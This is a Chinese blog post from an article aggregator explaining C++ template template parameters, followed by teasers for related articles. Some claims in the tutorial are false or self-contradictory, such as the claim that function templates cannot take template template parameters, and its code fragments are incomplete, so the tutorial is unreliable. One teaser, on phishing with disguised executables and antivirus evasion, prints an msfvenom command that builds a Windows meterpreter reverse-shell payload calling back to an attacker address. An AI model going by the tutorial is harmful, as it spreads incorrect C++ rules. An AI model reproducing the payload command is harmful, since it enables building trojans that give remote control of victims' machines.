C++ templates之“模板的模板参数”

2023-11-16

定义:指一个模板,它本身的参数类型就是模板,在英语原文中是“template template parameter”。

例如:template<typename T1,   template<typename T2> class CONT>,就是将template参数类型声明中的一个(原本应该是typename T2)替换成template<typename T2> class CONT

关键点:

1. 在模板的模板参数中,class(指上面例子中标红色的class) 不能被替换成typename。在模板中,如果不能区分的哪应该使用typename和class,可以全部都用class替代,typename和class的作用基本相同,而typename出现得比较晚。同时它也支持缺省值。

  • 例:template<typename T1,   template<typename T2> class CONT>  class A{.........}            // 正确
  •        template<typename T1,   template<typename T2> typename CONT>  class A{.........}            // 错误
  •        template<typename T1,   template<class T2> class CONT>  class A{.........}            // 正确
  •        template<typename T1,   template<typename T2> typename CONT=std::list>  class A{.........}   //正确

2.以上面的例子为例,在使用第二个参数,必须是一个模板类。

3.函数模板不支持模板的模板参数。

  • 例:template<template<typename T> class CONT>  void func{.........}          //错误

4.在模板中,可以前面的模板参数声明可以被后面的使用。

  • 例:template<typename T1, 
  •                         template<typename T2, typename ALLOC=std::allocator<T2> > class CONT=std::list> 
  • class A{.........}          //假设T1和T2的类型一样,那T2可以用T1替代(当然类型不一样也可以,只要容器空间分配不                                                     出问题)。同时,如果T2没用的话可以省略不写。

5.函数定义

  • 例:template<typename T1,   template<typename T2> typename CONT=std::list> 
  • class A{     void func();  .........}
  • template<typename T1,   template<typename T2> typename CONT=std::list> 
  • void A<T1,/*list*/>::func(){.....}     //如果使用编译器(Qt)自动生成定义的话,会报错,因为没有此行中红色标注的

6.要了解重载解析的相关内容,尤其是二义性和演绎部分。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

C++ templates之“模板的模板参数” 的相关文章

  • 海康PS转H264的编码思想(带图码流解释)

    海康PS转H264的编码思想 带图码流解释 本人PS流解析成H264的其余文章 01PS流格式 02封装时遇到的重点问题 03海康PS转H264的编码思想 带图码流解释 1 海康的PS流发包的顺序到底是如何发送的 根据01PS流格式我们知道
  • 关于敷铜全连接和十字连接

    敷铜时 地层要采用十字连接 因为一般在TOP或者BOTTOM层会全敷铜 采用十字连接会降低散热速度 而电源层要采用全连接
  • html gif无限循环播放,【GIF】无限循环GIF太神奇,有人知道这是怎么做的吗?

    今天橘子君给大家介绍一位土耳其摄影艺术家Erdal Inci的GIF作品 有没有感觉是无限循环的 没错 无限循环的动态影像作品 现在使用GIF也能办到 土耳其摄影艺术家 Erdal Inci 把运动人物连续的动作合成到同一个画面 并做成循环
  • PROFIBUS DP从站开发 VPC3源程序分析---vpc3_cfg_data_not_ok(void)

    以下程序注释由成都地质学院霸王猫添加 引用时请尊重作者劳动成果 标明引用者来自成都地质学院霸王猫 UBYTE vpc3 cfg data not ok void 入口参数 无 出口参数 无 返回值 VPC3 CFG FINISHED VPC
  • Python最常用的7个框架讲解!

    众所周知 Python语言中内置了很多框架 拿来即用 为我们的工作带来了很多便利 也提高了效率 本文为大家介绍7种常见且实用的Python框架 主要包括 Django flask scrapy Diesel Cubes Pulsar和Tor
  • Apipost,更懂中国程序员的接口调试神器

    Hello 大家好 我是灰小猿 一个超会写bug的程序猿 作为一名Java后端程序猿 对接口调试简直是家常便饭 尤其是在进行接口联调的时候 往往因为和前端对接口的理解程度不同 于是乎就出现了 而且 程序员的蹩脚英语往往是不能区分Java和j
  • 修改Tomcat的默认端口号

    1 找到Tomcat的安装路径 2 打开conf文件夹 3 用记事本打开server xml文件 4 找到
  • 从Vue-cli脚手架的基本使用到vue路由的基本使用

    第一部分 Vue cli脚手架 vue2是对新手很友好的MVVM框架 有完善的官方中文文档 阅读起来也非常容易理解 由浅入 深 示例完整 同时官方也提供了一个开箱即用的 vue cli 帮我们生成一个完整的项目框架 vue js 著名的全家
  • linux运行python代码进行训练时断开服务器中断训练解决办法

    无论是远程连接服务器还是将服务资源拉取的pycharm中使用 都会存在一个问题 就是远程客户端关闭后 服务端的训练就会终止 这样对于远程客户端的限制就非常大 为了解决这个问题 只需要在训练时按照下面命令操作即可完成 第一步 nohup py
  • Pytest的乐趣

    Pytest的乐趣 前言 安装 关键词test 关键词assert 进阶一 参数 进阶二 软断言 进阶三 配置文件pytest ini 进阶四 前后设置 进阶五 并行测试 进阶六 命令行参数扩展 前言 Pytest就是为了测试已经完成的Py
  • centos7下使用yum安装mysql数据库

    分享下装mysql数据库的过程以及远程连接的方法 整合了部分网上的资源以及自己遇到的一些问题 常用的一些命令就不一 一介绍了 话不多说 马上开始 1 下载mysql的repo源 wget http repo mysql com mysql
  • Python3 如何优雅地使用正则表达式(详解四)

    更多强大的功能 到目前为止 我们只是介绍了正则表达式的一部分功能 在这一篇中 我们会学习到一些新的元字符 然后再教大家如何使用组来获得被匹配的部分文本 更多元字符 还有一些元字符我们没有讲到 接下来小甲鱼一一为大家讲解 有些元字符它们不匹配
  • 现代控制理论(4)——李雅普诺夫稳定性理论

    文章目录 一 李雅普诺夫关于稳定性的定义 1 李氏意义下的稳定 2 渐近稳定 3 大范围渐近稳定 4 不稳定 二 李雅普诺夫第一法 1 线性系统的稳定判据 2 非线性系统的稳定判据 三 李雅普诺夫第二法 1 标量函数的定号性 2 稳定性原理
  • 钓鱼篇-利用RLO隐藏exe&文件捆绑&office免杀-远程模板加载上线CS

    RLO伪装图片执行 利用msf生成木马x exe msfvenom p windows meterpreter reverse tcp LHOST 192 168 96 128 LPORT 4444 f exe o x exe Metasp
  • 使用matlab里的集成树进行数据回归预测

    当使用MATLAB时 您可以使用集成学习方法中的决策树来进行数据回归预测 决策树回归是一种基于树状结构的机器学习算法 它通过对训练数据进行分层次的决策来进行预测连续值的输出 MATLAB提供了一个称为RegressionTree的集成树回归
  • pandas数据判断是否为NaN值的方式

    实际项目中有这样的需求 将某一列的值 映射成类别型的数据 这个时候 需要我们将范围等频切分 或者等距切分 具体的做法可以先看某一些特征的具体分布情况 然后我们选择合适的阈值进行分割 def age map x if x lt 26 retu
  • SpringBoot添加过滤器详解

    目录 一 过滤器详解 二 SpringBoot 添加过滤器 一 过滤器详解 过滤器 Filter 是 Java Web 应用中的一种重要组件 用于对请求和响应进行拦截和处理 它可以用于执行各种任务 如请求预处理 请求和响应的转换 授权检查
  • CSS Day03

    1 相对定位 relative 相对于原来位置移动 元素设置此属性之后仍然处在文档流中 不影响其他元素的布局 菜鸟教程
  • React框架学习笔记

    React系列知识点 一 项目初始化 1 react script 2 TSX 3 组件化 配置React的CSS模组 1 使用React最大的优势是模组化 CSS module 2 TS的定义声明 3 css类型声明 4 CSS in J

随机推荐